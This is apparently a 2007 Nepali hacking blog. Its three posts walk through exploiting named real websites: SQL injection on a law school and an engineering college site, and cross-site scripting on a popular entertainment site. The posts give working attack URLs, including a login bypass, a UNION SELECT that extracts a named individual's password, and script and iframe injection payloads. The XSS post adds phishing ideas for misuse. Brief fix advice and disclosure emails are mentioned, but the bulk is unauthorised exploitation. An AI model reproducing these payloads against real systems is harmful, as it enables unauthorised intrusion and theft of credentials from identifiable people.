Do Comment and I shall comment back. Your contributions are always welcome at emailadimn@gmail.com.
Nepali Security Community Accessible at NepSecure Google Groups

Saturday, September 29, 2007

Kathmandu School of Law website (ksl.edu.np) vulnerable to SQL injection (minor hack)

please do not take this posting as an offense against your website. Our motive is to let you know insecurities in your website and also give options to improve them.

Thanks goes to laex8pearl for finding the loophole and mentioning about the website.

Information
The mission page of Kathmandu School of Law promptly states that "It is an emerging legal institution pioneering in the field of imparting quality education and is dedicated to maintain high standards of academic excellence. Its prime objective is to address the need of an academically sound and practically feasible legal education in Nepal."

Level of vulnerability
7/10 since we can extract passwords ^__^

Review of Kathmandu School Of Law Website
Most of the pages are made in asp. The front pages are nothing much interesting in terms of finding security fixes since they have general content. The interesting thing is at the articles section which has dynamic content and dynamic url.

So the login page can be seen at http://www.ksl.edu.np/login.asp

SQL Injection In Detail
It starts with testing whether inputs are escaped or not, well not in this website.
in the login page, enter ' or ' in both username and passwords and we're inside. :-) pretty simple, well nothing interesting inside though, we can post articles but not edit, nothing interesting at all.

To see what database they are using, enter ' garbage in both username and password and well pretty simple error as expected. In case of ksl.edu.np we have this out put

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver]
Syntax error (missing operator) in query expression 'email='' garbage' and password='' garbage''./login_validate.asp, line 25

Ok so Access Driver, not even a database server, humm a small site, can't expect much.

The real fun comes now, in the login screen we are asked to enter email address and password. That means lets find some already existing users.

On the articles section, there are couple of users listed, lets see if we can find more info on atleast one user.

Ok got it, here is one

nice, it seems he is the directer of ksl, lucky me, lets find his password :-D

For this we will exploit the article display page. Take a look at the url of articles page. Its in the format of http://www.ksl.edu.np/view_article.asp?id=24, for different articles, we have different ids.

Lets test it to get some more result, http://www.ksl.edu.np/view_article.asp?id=24 or id=23 will yeild a different article, humm it seems there is a order by id syntax at the end, i.e., the asp displays the article with least id.

Interensting!!! lets add our own article with id=1, that is minimum, how do we achieve it, its done by SQL union select.

First we need the name of the table, an easy guess article works!!! yeah!!!
http://www.ksl.edu.np/view_article.asp?id=24 union select 1,1 from article

It gives an error, saying this

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.

/view_article.asp, line 56

Interesting thing is UNION select works but the number of columns doesnot match, hit and trial led me to have 8 columns, ie this url works well http://www.ksl.edu.np/view_article.asp?id=24 union select 1,2,3,4,5,6,7,8 from article

Great, the title is in the 5th column and body in the 6th column. What next, lets see if we can find a password of existing user, that should be pretty simple huh??

first we need to guess the table name of table containing passwords, most probable guesses are accounts, users, members, ... in singular and plural forms. Lucky me, its member.

so how do we see the password?? execute this in the url
http://www.ksl.edu.np/view_article.asp?id=24 union select 1,2,3,4,5,(select password from member where email='sangroula@wlink.com.np'),7,8 from article



WORKS GREAT!!! finally a password,

How to remove the SQL Injection in the Kathmandu School Of Law website (ksl.edu.np), its really really simple,
Rule number 1, never trust the users, always sanitize everything you take as input and give output
Rule number 2, never display sql errors, hide them or redirect to say page not found
Rule number 3, use a framework, like drupal or mambo or joomla because these frameworks include community effort of thousands of people and they are really secure.

The admin of http://www.ksl.edu.np has been emailed about this.
SO don't be surprised if this didn't work.

Wednesday, September 19, 2007

CyberSansar website Vulnerable to Cross Site Scripting (XSS) (Moderate hack)

please do not take this posting as an offense against your website. Our motive is to let you know insecurities in your website and also give options to improve them.

Information
CyberSansar is one of the most visited websites in Nepal. Its popularity is due to its content which includes pictures of hot models. I haven't heard of another website with so many pictures of hot Nepali Females and in my guess, this website is a major attraction to a lot of Nepali males :-)

Level of Vulnerability 3/5

Review Of CyberSansar Website
Most of the webpages seem to take no arguments at all and strangely each link points to a specific named php file. All artists had artistname.php or Event informations were in event.php format.

This means the guys at CyberSansar must have a hell of a time managing all those .php files. My guess is that they have a centralized theming system and all pages use that theme.

To execute XSS, i had to find a page taking arguements. The download page was where i found it.
http://www.cybersansar.com/music/videos/music_videos.php and click on any picture takes you to say
http://www.cybersansar.com/music/videos/video.php?id=drabyaz_dherailamo#download

Cross Site Scripting (XSS) in Detail
http://www.cybersansar.com/music/videos/video.php?id=drabyaz_dherailamo#download is interesting url. I can just change the text after ?id= in video.php?id=drabyaz_dherailamo#download to anything else, say xyz
http://www.cybersansar.com/music/videos/video.php?id=xyz
ok this time what you get is a small picture not found image like this

looking at the source what you can see is


that means whatever you type after video.php?id= gets added to the url and so the url is changed, humm good
if you test with characters like (", <,>,/, ...) all bypass any kind of string escaping. Not good at all. Someone forgot to check the security.

A simple ur like
http://www.cybersansar.com/music/videos/download_events_programs.php?id="> <script>alert("hello");</script>
will give you an alert message, humm scripts execute successfully.

To display some another webpage, its pretty simple just include a iframe like this
url starts from here ----------------------
http://www.cybersansar.com/music/videos/download_events_programs.php?id="><iframe src="http://www.google.com" height="400" width="500"><
url ends from here ---------------------
will give you this


Cool huh?? but how do i deface CyberSansar?
Actually you cannot do server damages using XSS, AFAIK

How can this be misused?
There are tons of articles explaining the misuse ofXSS, so please read them.

Some of the misuses i can think of are
  • Inclusion of java scripts from third party websites means a lot of thing. the whole DOM is under control of the javascript, that means, a malformed url can change the look of the website.
  • Since CyberSansar is very popular, anyone can just create a page, add pictures of herself/himself and advertise as a model of cybersansar.
  • the google webpage is just an example, what if someone shows a porn site and tries to defame CyberSansar
  • Include a fake phishing page with a username and password field saying "Insert your hotmail username/password here and we will send your frields a special something", humm interesting.
Lots of other misuses can be done, XSS is dangerous, specially with old versions of IE or vulnerable browsers.

How to remove the XSS vulnerability in CyberSansar??
pretty simple, escape the passed id by using htmlspecialchars() function in php, very simple :-)

$id = htmlspecialchars($_GET['id']);

single line can work wonders. :-)

The admin of http://www.cybersansar.com has been emailed about this.
SO don't be surprised if this didn't work.

XSS Cheat Sheet at http://ha.ckers.org/xss.html
big thanks to them.

Tuesday, September 18, 2007

Kantipur Engineering College website Vulnerability to SQL Injection (minor hack)

please do not take this posting as an offense against your website. Our motive is to let you know insecurities in your website and also give options to improve them.

Kantipur Engineering College is one of the well known colleges of KTM. It provides undergraduate studies for Bachelor of Engineering in Computer Science, Electronics engineering and other faculties.
Please see their website at here.

Level of vulnerability 1/5
SQL Injection in detail

Most of the pages are static as it seems with no option for url modifications and fiddling with.
The only place to tinker with is at the news section. Which can be seen at the right inside a small column.

The url is as http://www.kec.edu.np/news.php?id=5 . Now this is very lucrative since its so common to just change the id and see what outputs result in.

at id=5 we get


To insert a simple sql we just change the 5 into some text say "asdf" and you will get
Unknown column 'asdf' in 'where clause'
It shows that the query is something like
select * from where id=variablename
and above error is exactly what you get when you insert a string in place of variablename.

what about
http://www.kec.edu.np/news.php?id=news_id
or
http://www.kec.edu.np/news.php?id=1 OR 1=1 or news.news_id=1 order by news.news_title desc


Humm it seems that it executes OK with no error. So we know one of the column names of the table.
Finally with simple human guess, the table should be named news, so doing a simple
http://www.kec.edu.np/news.php?id=news.news_id
and we have all the respective rows in the news table.

These are the fields of the news table
news_id, news_title,
news_date
which is seen by successfully executing this line

http://www.kec.edu.np/news.php?id=1 OR 1=1 or news.news_id=1 order by news.news_title, news.news_date desc


Also, we can do union select. Which means pretty much a lot of thing. But i bet they have anything interesting. The homepage already has nbsp all around the top links, very bad web design.

How to remove the sql injection??
The techniques are widely discussed on various websites.
  • This is a very helpful link on how to prevent sql injections.
    http://www.unixwiz.net/techtips/sql-injection.html#miti
  • Its bad idea to create a website from scratch because there will be lots of places where we would most probably overlook. SQL injection is just one of the many loop holes for hackers to get int our website.
Comments are more than welcome. We hope this helped the original web author of the website to fix his/her flaws.

The admin of http://www.kec.edu.np has been emailed about this.
SO don't be surprised if this didn't work.

Update
the mentioned email admin@kec.wlink.com.np gave a failure email, :-| so even their official email does not work. Somebody please inform the college web admins.